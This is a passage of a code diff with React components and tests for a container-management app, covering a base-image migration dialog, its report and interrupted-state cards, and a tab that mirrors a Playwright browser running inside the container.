className="border border-[var(--error)]/40 bg-[var(--error-muted)] rounded-[var(--radius-panel)] px-3.5 py-3 space-y-2"
|
||||
data-testid="migration-unpreserved"
|
||||
>
|
||||
<h3 className="text-[13px] font-medium text-[var(--text-primary)]">
|
||||
{atRisk.length > 0
|
||||
? `Destroyed, and not restored by this update (${atRisk.length})`
|
||||
: "Not carried across"}
|
||||
</h3>
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">
|
||||
{DATA_NOT_CARRIED}
|
||||
</p>
|
||||
{probeSettled ? (
|
||||
atRisk.length > 0 ? (
|
||||
<ul className="space-y-1 pl-4 list-disc marker:text-[var(--text-disabled)]">
|
||||
{atRisk.map((d) => (
|
||||
<li
|
||||
key={d.path}
|
||||
className="text-xs leading-snug text-[var(--text-primary)]"
|
||||
>
|
||||
<span className="font-mono break-all">{d.path}</span>
|
||||
<span className="text-[var(--text-secondary)]">
|
||||
{" "}
|
||||
— {formatDataSize(d.bytes)} in {d.file_count} file
|
||||
{d.file_count === 1 ? "" : "s"}
|
||||
</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
) : (
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
Nothing was found under <code className="font-mono">/var</code>{" "}
|
||||
on this container, so there is nothing here to lose.
|
||||
</p>
|
||||
)
|
||||
) : (
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
Not checked yet.
|
||||
</p>
|
||||
)}
|
||||
</section>
|
||||
|
||||
{/* 2. The apt replay. */}
|
||||
<Section
|
||||
title={`Reinstalled from the new base's repos (${aptDelta.length})`}
|
||||
control={
|
||||
<Toggle
|
||||
label="Reinstall system packages from the new base's repositories"
|
||||
checked={replayPackages}
|
||||
onChange={setReplayPackages}
|
||||
/>
|
||||
}
|
||||
>
|
||||
{aptDelta.length === 0 ? (
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
{/* "None found" and "not looked yet" are different sentences.
|
||||
Printing the first while the probe is still running is how a
|
||||
user ends up believing a delta was empty when it was unread. */}
|
||||
{probeSettled
|
||||
? "No extra apt packages were found on this container."
|
||||
: "Still checking which apt packages this container added."}
|
||||
</p>
|
||||
) : (
|
||||
<BulletList items={aptDelta} mono />
|
||||
)}
|
||||
{npmDelta.length > 0 && (
|
||||
<>
|
||||
<p className="text-xs text-[var(--text-secondary)] pt-1">
|
||||
Global npm packages ({npmDelta.length}):
|
||||
</p>
|
||||
<BulletList items={npmDelta} mono />
|
||||
</>
|
||||
)}
|
||||
<p className="text-xs text-[var(--text-secondary)]">{REPLAY_COST}</p>
|
||||
</Section>
|
||||
|
||||
{/* 3. Verbatim copies — usually nothing once the probe has settled, so
|
||||
usually not shown at all. Shown while it has not, because a hidden
|
||||
section reads as "there is nothing here". */}
|
||||
{(verbatim.length > 0 || !probeSettled) && (
|
||||
<Section
|
||||
title={
|
||||
probeSettled
|
||||
? `Copied across as-is (${verbatim.length})`
|
||||
: "Copied across as-is"
|
||||
}
|
||||
control={
|
||||
<Toggle
|
||||
label="Copy user-authored files across as-is"
|
||||
checked={copyPaths}
|
||||
onChange={setCopyPaths}
|
||||
/>
|
||||
}
|
||||
>
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
Content under <code className="font-mono">/usr/local</code>,{" "}
|
||||
<code className="font-mono">/opt</code>,{" "}
|
||||
<code className="font-mono">/srv</code> and non-bind-mounted{" "}
|
||||
<code className="font-mono">/workspace</code> that belongs to no
|
||||
package, so it cannot be reinstalled from a repository.
|
||||
</p>
|
||||
{probeSettled ? (
|
||||
<BulletList items={verbatim} mono />
|
||||
) : (
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
Still checking what is there.
|
||||
</p>
|
||||
)}
|
||||
</Section>
|
||||
)}
|
||||
|
||||
{/* 4. The rollback image, with its real disk cost stated. */}
|
||||
<Section
|
||||
title="Keep a rollback image until I confirm"
|
||||
control={
|
||||
<Toggle
|
||||
label="Keep a rollback image until I confirm"
|
||||
checked={keepRollback}
|
||||
onChange={setKeepRollback}
|
||||
tone="caution"
|
||||
/>
|
||||
}
|
||||
>
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">
|
||||
{ROLLBACK_DISK_COST}
|
||||
</p>
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">
|
||||
{ROLLBACK_SCOPE}
|
||||
</p>
|
||||
</Section>
|
||||
|
||||
{gains.length > 0 && (
|
||||
<section className="border border-[var(--success)]/40 bg-[var(--success-muted)] rounded-[var(--radius-panel)] px-3.5 py-3">
|
||||
<h3 className="text-[13px] font-medium text-[var(--text-primary)]">
|
||||
You will gain
|
||||
</h3>
|
||||
<ul className="mt-1.5 space-y-1">
|
||||
{gains.map((feature) => (
|
||||
<li
|
||||
key={feature}
|
||||
className="text-xs leading-snug text-[var(--text-secondary)]"
|
||||
>
|
||||
<span aria-hidden="true" className="text-[var(--success)]">
|
||||
+{" "}
|
||||
</span>
|
||||
{feature}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
{/* "A different version", not "behind" — the count measures drift
|
||||
from the base, not a guarantee that each one is an upgrade. */}
|
||||
{(staleness?.outdated_package_count ?? 0) > 0 && (
|
||||
<p className="mt-1.5 text-xs text-[var(--text-secondary)]">
|
||||
Plus {staleness?.outdated_package_count} package
|
||||
{staleness?.outdated_package_count === 1 ? "" : "s"} the current
|
||||
base carries at a different version, security updates among them.
|
||||
</p>
|
||||
)}
|
||||
</section>
|
||||
)}
|
||||
</div>
|
||||
</Modal>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
import type { MigrationState } from "../../lib/types";
|
||||
import Button from "../ui/Button";
|
||||
import StatusIndicator from "../ui/StatusIndicator";
|
||||
import { ROLLBACK_SCOPE, formatSnapshotDate } from "./migrationCopy";
|
||||
|
||||
interface Props {
|
||||
record: MigrationState;
|
||||
/** Disables the action row while resume/rollback is in flight. */
|
||||
busy?: boolean;
|
||||
onResume: () => void;
|
||||
onRollback: () => void;
|
||||
}
|
||||
|
||||
/**
|
||||
* A migration that got past the container swap and stopped there.
|
||||
*
|
||||
* This is deliberately **not** [`MigrationReportCard`]. That card's primary
|
||||
* action is Keep, which means "accept this and drop the rollback image" — and
|
||||
* on an unfinished migration `triple-c-snapshot-<id>:latest` still points at
|
||||
* the *old* lineage, so Keep would delete the only way back while leaving a
|
||||
* container the app can no longer reason about. The backend's own message on
|
||||
* this record says to resume; offering Keep beside it was the UI contradicting
|
||||
* the backend and losing.
|
||||
*
|
||||
* So the two actions here are Resume and Roll back, and nothing else. It is
|
||||
* shown ahead of any report, whether the record was found on mount or produced
|
||||
* by a run that just failed — those are the same situation.
|
||||
*/
|
||||
export default function MigrationInterruptedCard({
|
||||
record,
|
||||
busy = false,
|
||||
onResume,
|
||||
onRollback,
|
||||
}: Props) {
|
||||
const started = formatSnapshotDate(record.started_at);
|
||||
|
||||
return (
|
||||
<div className="space-y-2">
|
||||
<StatusIndicator
|
||||
tone="error"
|
||||
label="The container base update did not finish"
|
||||
className="text-[13px] font-semibold"
|
||||
/>
|
||||
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">
|
||||
This container is part-way onto the new base: it was replaced, but the
|
||||
result was never saved
|
||||
{started ? `. The update started ${started}` : ""}. Resuming replays the
|
||||
same plan it was given — it is the only way to finish it.
|
||||
</p>
|
||||
|
||||
{record.report?.message && (
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug select-text">
|
||||
{record.report.message}
|
||||
</p>
|
||||
)}
|
||||
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">
|
||||
{ROLLBACK_SCOPE}
|
||||
</p>
|
||||
|
||||
<div className="flex flex-wrap gap-1.5 pt-0.5">
|
||||
<Button size="md" variant="primary" disabled={busy} onClick={onResume}>
|
||||
Resume update
|
||||
</Button>
|
||||
{record.rollback_image && (
|
||||
<Button size="md" variant="danger" disabled={busy} onClick={onRollback}>
|
||||
Roll back
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,190 @@
|
||||
import { useState } from "react";
|
||||
import type { MigrationReport } from "../../lib/types";
|
||||
import Button from "../ui/Button";
|
||||
import StatusIndicator from "../ui/StatusIndicator";
|
||||
import {
|
||||
ROLLBACK_SCOPE,
|
||||
aptRetryCommand,
|
||||
failureReportText,
|
||||
} from "./migrationCopy";
|
||||
|
||||
interface Props {
|
||||
report: MigrationReport;
|
||||
/** Disables the action row while confirm/rollback is in flight. */
|
||||
busy?: boolean;
|
||||
onKeep: () => void;
|
||||
onRollback: () => void;
|
||||
/** Only offered when there is nothing to keep or roll back. */
|
||||
onDismiss: () => void;
|
||||
}
|
||||
|
||||
/**
|
||||
* The outcome of a migration, rendered identically in the Overview banner and
|
||||
* in the modal so a user who closed the modal is not shown a different story.
|
||||
*
|
||||
* A **partial** is the case this component exists for. The user arrived here
|
||||
* because containers degrade silently — a run that quietly dropped `socat` and
|
||||
* called itself a success would be exactly the same bug in a new place. So a
|
||||
* partial is painted as a warning, names every package and the reason it
|
||||
* failed, and hands over the literal `apt-get` line to finish the job.
|
||||
*/
|
||||
export default function MigrationReportCard({
|
||||
report,
|
||||
busy = false,
|
||||
onKeep,
|
||||
onRollback,
|
||||
onDismiss,
|
||||
}: Props) {
|
||||
const [copied, setCopied] = useState<"command" | "detail" | null>(null);
|
||||
const partial = report.phase === "partial";
|
||||
const failed = report.phase === "failed";
|
||||
const rolledBack = report.phase === "rolled_back";
|
||||
|
||||
const copy = async (what: "command" | "detail", text: string) => {
|
||||
try {
|
||||
await navigator.clipboard.writeText(text);
|
||||
setCopied(what);
|
||||
setTimeout(() => setCopied(null), 2000);
|
||||
} catch {
|
||||
// Clipboard can be denied; the text is selectable on screen either way.
|
||||
}
|
||||
};
|
||||
|
||||
// Partial and failed are painted as failures. A partial that reads as a
|
||||
// success is precisely how a container ends up silently degraded.
|
||||
const tone = partial || failed ? "error" : rolledBack ? "off" : "ok";
|
||||
const heading = partial
|
||||
? "Updated, but not completely"
|
||||
: failed
|
||||
? "Update failed"
|
||||
: rolledBack
|
||||
? "Rolled back"
|
||||
: "Container base updated";
|
||||
|
||||
return (
|
||||
<div className="space-y-3">
|
||||
<div className="flex items-baseline gap-2">
|
||||
<StatusIndicator tone={tone} label={heading} className="text-[13px] font-semibold" />
|
||||
</div>
|
||||
|
||||
{report.phase === "succeeded" && (
|
||||
<p className="text-[13px] text-[var(--text-secondary)]">
|
||||
{report.packages_installed.length} package
|
||||
{report.packages_installed.length === 1 ? "" : "s"} reinstalled,{" "}
|
||||
{report.features_restored.length} feature
|
||||
{report.features_restored.length === 1 ? "" : "s"} restored.
|
||||
{report.paths_copied.length > 0
|
||||
? ` ${report.paths_copied.length} path${report.paths_copied.length === 1 ? "" : "s"} copied across.`
|
||||
: ""}
|
||||
</p>
|
||||
)}
|
||||
|
||||
{failed && (
|
||||
<p className="text-[13px] text-[var(--text-secondary)]">
|
||||
{report.message ||
|
||||
"Update failed. Your container has been restored to its previous state."}
|
||||
</p>
|
||||
)}
|
||||
|
||||
{rolledBack && (
|
||||
<p className="text-[13px] text-[var(--text-secondary)]">
|
||||
{report.message || "The previous system layer has been put back."}
|
||||
</p>
|
||||
)}
|
||||
|
||||
{partial && (
|
||||
<div className="space-y-2.5">
|
||||
<p className="text-[13px] text-[var(--text-primary)]">
|
||||
{report.packages_installed.length} of{" "}
|
||||
{report.packages_requested.length} packages went back on.{" "}
|
||||
<strong>
|
||||
{report.packages_failed.length} did not
|
||||
</strong>
|
||||
, so this container is still missing something it had before.
|
||||
</p>
|
||||
|
||||
<div
|
||||
className="rounded-[var(--radius-control)] border border-[var(--error)]/40 bg-[var(--error-muted)] px-3 py-2 select-text"
|
||||
data-testid="migration-failures"
|
||||
>
|
||||
<ul className="space-y-1.5">
|
||||
{report.packages_failed.map((failure) => (
|
||||
<li key={failure.name} className="text-xs leading-snug">
|
||||
<span className="font-mono font-semibold text-[var(--text-primary)]">
|
||||
{failure.name}
|
||||
</span>
|
||||
<span className="text-[var(--text-secondary)]"> — {failure.reason}</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
{report.packages_failed.length > 0 && (
|
||||
<div className="space-y-1.5">
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
Finish by hand in a shell inside the container:
|
||||
</p>
|
||||
<code className="block px-2.5 py-1.5 font-mono text-xs text-[var(--text-primary)] bg-[var(--bg-primary)] border border-[var(--border-color)] rounded-[var(--radius-control)] overflow-x-auto whitespace-pre select-text">
|
||||
{aptRetryCommand(report.packages_failed)}
|
||||
</code>
|
||||
<div className="flex flex-wrap gap-1.5">
|
||||
<Button
|
||||
onClick={() =>
|
||||
copy("command", aptRetryCommand(report.packages_failed))
|
||||
}
|
||||
>
|
||||
{copied === "command" ? "Copied ✓" : "Copy apt-get line"}
|
||||
</Button>
|
||||
<Button
|
||||
onClick={() =>
|
||||
copy("detail", failureReportText(report.packages_failed))
|
||||
}
|
||||
>
|
||||
{copied === "detail" ? "Copied ✓" : "Copy failure details"}
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{report.features_restored.length > 0 && !failed && (
|
||||
<div>
|
||||
<h4 className="text-[11px] font-semibold uppercase tracking-wide text-[var(--text-secondary)]">
|
||||
Restored
|
||||
</h4>
|
||||
<p className="mt-0.5 text-xs text-[var(--text-secondary)]">
|
||||
{report.features_restored.join(", ")}
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{report.message && !failed && !rolledBack && (
|
||||
<p className="text-xs text-[var(--text-secondary)] select-text">{report.message}</p>
|
||||
)}
|
||||
|
||||
{report.rollback_available && (
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">
|
||||
{ROLLBACK_SCOPE}
|
||||
</p>
|
||||
)}
|
||||
|
||||
<div className="flex flex-wrap items-center gap-1.5 pt-0.5">
|
||||
{report.rollback_available ? (
|
||||
<>
|
||||
<Button size="md" variant="primary" disabled={busy} onClick={onKeep}>
|
||||
Keep
|
||||
</Button>
|
||||
<Button size="md" variant="danger" disabled={busy} onClick={onRollback}>
|
||||
Roll back
|
||||
</Button>
|
||||
</>
|
||||
) : (
|
||||
<Button size="md" disabled={busy} onClick={onDismiss}>
|
||||
Dismiss
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { act, fireEvent, render, screen, waitFor } from "@testing-library/react";
|
||||
import BrowserTab from "./BrowserTab";
|
||||
import type { BrowserViewStatus, Project } from "../../../lib/types";
|
||||
|
||||
const getBrowserViewStatus = vi.fn<() => Promise<BrowserViewStatus>>();
|
||||
const setBrowserViewEnabled = vi.fn<() => Promise<BrowserViewStatus>>();
|
||||
const pushToast = vi.fn();
|
||||
|
||||
vi.mock("../../../lib/tauri-commands", () => ({
|
||||
getBrowserViewStatus: () => getBrowserViewStatus(),
|
||||
setBrowserViewEnabled: () => setBrowserViewEnabled(),
|
||||
}));
|
||||
|
||||
vi.mock("@tauri-apps/api/event", () => ({
|
||||
listen: vi.fn(async () => () => {}),
|
||||
}));
|
||||
|
||||
vi.mock("../../../store/appState", () => ({
|
||||
useAppState: (selector: (s: unknown) => unknown) => selector({ pushToast }),
|
||||
}));
|
||||
|
||||
const OFF: BrowserViewStatus = {
|
||||
enabled: false,
|
||||
state: "off",
|
||||
url: null,
|
||||
host_port: null,
|
||||
container_port: null,
|
||||
started_at: null,
|
||||
detection: null,
|
||||
message: null,
|
||||
};
|
||||
|
||||
const project: Project = {
|
||||
id: "p1",
|
||||
name: "api-server",
|
||||
paths: [{ host_path: "/home/user/api", mount_name: "api" }],
|
||||
container_id: "c1",
|
||||
status: "running",
|
||||
backend: "anthropic",
|
||||
bedrock_config: null,
|
||||
ollama_config: null,
|
||||
openai_compatible_config: null,
|
||||
allow_docker_access: false,
|
||||
sandbox_mode_enabled: true,
|
||||
mission_control_enabled: false,
|
||||
auth_bridge_enabled: false,
|
||||
use_shared_auth_token: true,
|
||||
full_permissions: false,
|
||||
permission_mode: "bypass",
|
||||
ssh_key_path: null,
|
||||
git_token: null,
|
||||
git_user_name: null,
|
||||
git_user_email: null,
|
||||
custom_env_vars: [],
|
||||
port_mappings: [],
|
||||
claude_instructions: null,
|
||||
claude_code_settings: null,
|
||||
renamed_session_names: {},
|
||||
created_at: "2026-01-01T00:00:00Z",
|
||||
updated_at: "2026-01-01T00:00:00Z",
|
||||
} as unknown as Project;
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
getBrowserViewStatus.mockResolvedValue(OFF);
|
||||
});
|
||||
|
||||
describe("BrowserTab", () => {
|
||||
it("does not offer to start anything while the container is stopped", async () => {
|
||||
render(<BrowserTab project={{ ...project, status: "stopped" }} active />);
|
||||
expect(await screen.findByText(/container isn’t running/i)).toBeInTheDocument();
|
||||
expect(screen.queryByRole("button", { name: /start browser view/i })).toBeNull();
|
||||
expect(getBrowserViewStatus).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("starts off, and never starts a view without being asked", async () => {
|
||||
render(<BrowserTab project={project} active />);
|
||||
await waitFor(() => expect(getBrowserViewStatus).toHaveBeenCalled());
|
||||
expect(screen.getByText("Off")).toBeInTheDocument();
|
||||
expect(screen.queryByTitle(/browser view for/i)).toBeNull();
|
||||
expect(setBrowserViewEnabled).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("shows the live pane, pointed at loopback with a token, once started", async () => {
|
||||
setBrowserViewEnabled.mockResolvedValue({
|
||||
...OFF,
|
||||
enabled: true,
|
||||
state: "running",
|
||||
url: "http://127.0.0.1:47820/index.html?ws=abc&token=SEKRIT",
|
||||
host_port: 47820,
|
||||
container_port: 39321,
|
||||
started_at: "2026-08-09T10:00:00Z",
|
||||
});
|
||||
|
||||
render(<BrowserTab project={project} active />);
|
||||
await waitFor(() => expect(getBrowserViewStatus).toHaveBeenCalled());
|
||||
await act(async () => {
|
||||
fireEvent.click(screen.getByRole("button", { name: /start browser view/i }));
|
||||
});
|
||||
|
||||
const frame = await screen.findByTitle("Playwright browser view for api-server");
|
||||
expect(frame).toHaveAttribute(
|
||||
"src",
|
||||
"http://127.0.0.1:47820/index.html?ws=abc&token=SEKRIT",
|
||||
);
|
||||
expect(screen.getByText("Live")).toBeInTheDocument();
|
||||
expect(screen.getByText(/127\.0\.0\.1:47820 → container :39321/)).toBeInTheDocument();
|
||||
expect(screen.getByRole("button", { name: "Stop" })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("explains precisely what is missing instead of spinning", async () => {
|
||||
getBrowserViewStatus.mockResolvedValue({
|
||||
...OFF,
|
||||
enabled: true,
|
||||
state: "unavailable",
|
||||
message:
|
||||
"Playwright isn't installed in this container. Install it with `npm i -D playwright`.",
|
||||
detection: {
|
||||
node_version: "22.11.0",
|
||||
playwright_version: null,
|
||||
playwright_path: null,
|
||||
has_bind: false,
|
||||
cli_version: null,
|
||||
cli_entry: null,
|
||||
searched: ["/workspace", "/usr/lib/node_modules"],
|
||||
},
|
||||
});
|
||||
|
||||
render(<BrowserTab project={project} active />);
|
||||
|
||||
expect(await screen.findByText(/npm i -D playwright/)).toBeInTheDocument();
|
||||
expect(screen.getByText("Unavailable")).toBeInTheDocument();
|
||||
// The probe's findings are shown, so the user can see why.
|
||||
expect(screen.getByText("22.11.0")).toBeInTheDocument();
|
||||
expect(screen.getByText("not in this build")).toBeInTheDocument();
|
||||
expect(screen.getByText(/usr\/lib\/node_modules/)).toBeInTheDocument();
|
||||
expect(screen.queryByTitle(/browser view for/i)).toBeNull();
|
||||
});
|
||||
|
||||
it("surfaces a start failure rather than leaving the pane blank", async () => {
|
||||
setBrowserViewEnabled.mockRejectedValue("container went away");
|
||||
|
||||
render(<BrowserTab project={project} active />);
|
||||
await waitFor(() => expect(getBrowserViewStatus).toHaveBeenCalled());
|
||||
await act(async () => {
|
||||
fireEvent.click(screen.getByRole("button", { name: /start browser view/i }));
|
||||
});
|
||||
|
||||
expect(await screen.findByText(/didn’t start/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/container went away/)).toBeInTheDocument();
|
||||
expect(pushToast).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ kind: "error" }),
|
||||
);
|
||||
});
|
||||
|
||||
it("stops the view when asked", async () => {
|
||||
getBrowserViewStatus.mockResolvedValue({
|
||||
...OFF,
|
||||
enabled: true,
|
||||
state: "running",
|
||||
url: "http://127.0.0.1:47821/?token=T",
|
||||
host_port: 47821,
|
||||
container_port: 39321,
|
||||
});
|
||||
setBrowserViewEnabled.mockResolvedValue(OFF);
|
||||
|
||||
render(<BrowserTab project={project} active />);
|
||||
const stop = await screen.findByRole("button", { name: "Stop" });
|
||||
await act(async () => {
|
||||
fireEvent.click(stop);
|
||||
});
|
||||
|
||||
await waitFor(() => expect(setBrowserViewEnabled).toHaveBeenCalled());
|
||||
expect(await screen.findByText("Off")).toBeInTheDocument();
|
||||
expect(screen.queryByTitle(/browser view for/i)).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,261 @@
|
||||
import { useCallback, useEffect, useRef, useState } from "react";
|
||||
import { listen } from "@tauri-apps/api/event";
|
||||
import type {
|
||||
BrowserViewChangedEvent,
|
||||
BrowserViewStatus,
|
||||
Project,
|
||||
} from "../../../lib/types";
|
||||
import {
|
||||
getBrowserViewStatus,
|
||||
setBrowserViewEnabled,
|
||||
} from "../../../lib/tauri-commands";
|
||||
import { useAppState } from "../../../store/appState";
|
||||
import Button from "../../ui/Button";
|
||||
import StatusIndicator from "../../ui/StatusIndicator";
|
||||
|
||||
interface Props {
|
||||
project: Project;
|
||||
active: boolean;
|
||||
}
|
||||
|
||||
const OFF: BrowserViewStatus = {
|
||||
enabled: false,
|
||||
state: "off",
|
||||
url: null,
|
||||
host_port: null,
|
||||
container_port: null,
|
||||
started_at: null,
|
||||
detection: null,
|
||||
message: null,
|
||||
};
|
||||
|
||||
/**
|
||||
* Watch — and take over — the browser Claude is driving with Playwright inside
|
||||
* the container.
|
||||
*
|
||||
* The pane is an iframe onto Playwright's own live dashboard, which runs in the
|
||||
* container and is reached through a token-gated listener on the host's
|
||||
* loopback. Nothing starts until the user asks: this is remote control of a
|
||||
* browser in a privileged sandbox, so it is off by default and opted into per
|
||||
* project, exactly like the auth bridge.
|
||||
*/
|
||||
export default function BrowserTab({ project, active }: Props) {
|
||||
const [status, setStatus] = useState<BrowserViewStatus>(OFF);
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
/** Bumped to force the iframe to reload without changing its src. */
|
||||
const [reloadKey, setReloadKey] = useState(0);
|
||||
const pushToast = useAppState((s) => s.pushToast);
|
||||
const running = project.status === "running";
|
||||
|
||||
// The backend is the source of truth: it emits whenever a view starts or is
|
||||
// torn down (container stopped, project removed, viewer died).
|
||||
const projectId = project.id;
|
||||
const mounted = useRef(true);
|
||||
useEffect(() => {
|
||||
mounted.current = true;
|
||||
return () => {
|
||||
mounted.current = false;
|
||||
};
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
let dispose: (() => void) | undefined;
|
||||
listen<BrowserViewChangedEvent>("browser-view-changed", (event) => {
|
||||
if (event.payload.project_id === projectId && mounted.current) {
|
||||
setStatus(event.payload.status);
|
||||
}
|
||||
}).then((un) => {
|
||||
if (mounted.current) dispose = un;
|
||||
else un();
|
||||
});
|
||||
return () => dispose?.();
|
||||
}, [projectId]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!active || !running) return;
|
||||
getBrowserViewStatus(projectId)
|
||||
.then((s) => mounted.current && setStatus(s))
|
||||
.catch(() => {});
|
||||
}, [active, projectId, running]);
|
||||
|
||||
const toggle = useCallback(
|
||||
async (next: boolean) => {
|
||||
setBusy(true);
|
||||
setError(null);
|
||||
try {
|
||||
const result = await setBrowserViewEnabled(projectId, next);
|
||||
if (mounted.current) setStatus(result);
|
||||
} catch (e) {
|
||||
const detail = String(e);
|
||||
if (mounted.current) setError(detail);
|
||||
pushToast({
|
||||
kind: "error",
|
||||
message: next ? "Could not start the browser view" : "Could not stop the browser view",
|
||||
detail,
|
||||
});
|
||||
} finally {
|
||||
if (mounted.current) setBusy(false);
|
||||
}
|
||||
},
|
||||
[projectId, pushToast],
|
||||
);
|
||||
|
||||
// A stopped container can't be hosting a browser, so say that plainly rather
|
||||
// than offering a control that would only fail.
|
||||
if (!running) {
|
||||
return (
|
||||
<Explainer title="The container isn’t running.">
|
||||
Start the container, have Claude drive a browser with Playwright, then come
|
||||
back here to watch it.
|
||||
</Explainer>
|
||||
);
|
||||
}
|
||||
|
||||
const live = status.state === "running" && status.url;
|
||||
|
||||
return (
|
||||
<div className="flex flex-col h-full min-h-0">
|
||||
<div className="flex items-center gap-2 px-4 py-2 border-b border-[var(--border-color)] flex-shrink-0 flex-wrap">
|
||||
<StatusIndicator
|
||||
tone={
|
||||
busy
|
||||
? "busy"
|
||||
: status.state === "running"
|
||||
? "running"
|
||||
: status.state === "unavailable"
|
||||
? "error"
|
||||
: "off"
|
||||
}
|
||||
label={
|
||||
busy
|
||||
? "Starting"
|
||||
: status.state === "running"
|
||||
? "Live"
|
||||
: status.state === "unavailable"
|
||||
? "Unavailable"
|
||||
: "Off"
|
||||
}
|
||||
/>
|
||||
{live && (
|
||||
<span className="text-xs text-[var(--text-secondary)] font-mono truncate">
|
||||
127.0.0.1:{status.host_port} → container :{status.container_port}
|
||||
</span>
|
||||
)}
|
||||
<div className="flex-1" />
|
||||
{live && (
|
||||
<Button size="md" onClick={() => setReloadKey((k) => k + 1)}>
|
||||
Reload
|
||||
</Button>
|
||||
)}
|
||||
<Button
|
||||
size="md"
|
||||
variant={live ? "secondary" : "primary"}
|
||||
disabled={busy}
|
||||
onClick={() => toggle(!status.enabled || status.state !== "running")}
|
||||
>
|
||||
{busy ? "Working…" : live ? "Stop" : "Start browser view"}
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
{live ? (
|
||||
<iframe
|
||||
key={reloadKey}
|
||||
// Loopback only, and the URL carries the one-time session token the
|
||||
// host-side gate checks before anything reaches the container.
|
||||
src={status.url ?? undefined}
|
||||
title={`Playwright browser view for ${project.name}`}
|
||||
className="flex-1 min-h-0 w-full border-0 bg-[var(--bg-primary)]"
|
||||
/>
|
||||
) : (
|
||||
<div className="flex-1 min-h-0 overflow-y-auto">
|
||||
{status.state === "unavailable" ? (
|
||||
<Unavailable status={status} />
|
||||
) : error ? (
|
||||
<Explainer title="The browser view didn’t start." tone="error">
|
||||
<span className="font-mono text-xs break-words">{error}</span>
|
||||
</Explainer>
|
||||
) : (
|
||||
<Explainer title="Nothing is being watched yet.">
|
||||
Start the view to run Playwright’s live dashboard inside this container
|
||||
and mirror it here. You’ll see any browser a script has published with{" "}
|
||||
<Code>await browser.bind('claude')</Code> — and{" "}
|
||||
<Code>@playwright/mcp</Code> publishes automatically, so nothing extra is
|
||||
needed if Claude is using that.
|
||||
</Explainer>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** The container can't serve a view — say exactly what is missing. */
|
||||
function Unavailable({ status }: { status: BrowserViewStatus }) {
|
||||
const d = status.detection;
|
||||
return (
|
||||
<div className="p-4 max-w-[46rem] space-y-3">
|
||||
<h2 className="text-[13px] font-semibold text-[var(--text-primary)]">
|
||||
This container can’t serve a browser view yet
|
||||
</h2>
|
||||
<p className="text-[13px] text-[var(--text-secondary)] leading-relaxed">
|
||||
{status.message}
|
||||
</p>
|
||||
{d && (
|
||||
<dl className="text-xs grid grid-cols-[auto_1fr] gap-x-3 gap-y-1 pt-2 border-t border-[var(--border-color)]">
|
||||
<Detail label="Node.js" value={d.node_version} />
|
||||
<Detail label="Playwright" value={d.playwright_version} />
|
||||
<Detail label="browser.bind()" value={d.has_bind ? "available" : "not in this build"} />
|
||||
<Detail label="@playwright/cli" value={d.cli_version} />
|
||||
{d.searched.length > 0 && (
|
||||
<Detail label="Searched" value={d.searched.join(", ")} />
|
||||
)}
|
||||
</dl>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function Detail({ label, value }: { label: string; value: string | null }) {
|
||||
return (
|
||||
<>
|
||||
<dt className="text-[var(--text-secondary)]">{label}</dt>
|
||||
<dd className="font-mono text-[var(--text-primary)] break-all">
|
||||
{value ?? "not found"}
|
||||
</dd>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
function Explainer({
|
||||
title,
|
||||
tone = "normal",
|
||||
children,
|
||||
}: {
|
||||
title: string;
|
||||
tone?: "normal" | "error";
|
||||
children: React.ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<div className="p-4 max-w-[46rem]">
|
||||
<h2
|
||||
className={`text-[13px] font-semibold ${
|
||||
tone === "error" ? "text-[var(--error)]" : "text-[var(--text-primary)]"
|
||||
}`}
|
||||
>
|
||||
{title}
|
||||
</h2>
|
||||
<p className="mt-1 text-[13px] text-[var(--text-secondary)] leading-relaxed">
|
||||
{children}
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function Code({ children }: { children: React.ReactNode }) {
|
||||
return (
|
||||
<code className="font-mono text-xs px-1 py-0.5 rounded-[var(--radius-control)] bg-[var(--bg-tertiary)] text-[var(--text-primary)]">
|
||||
{children}
|
||||
</code>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,371 @@
|
||||
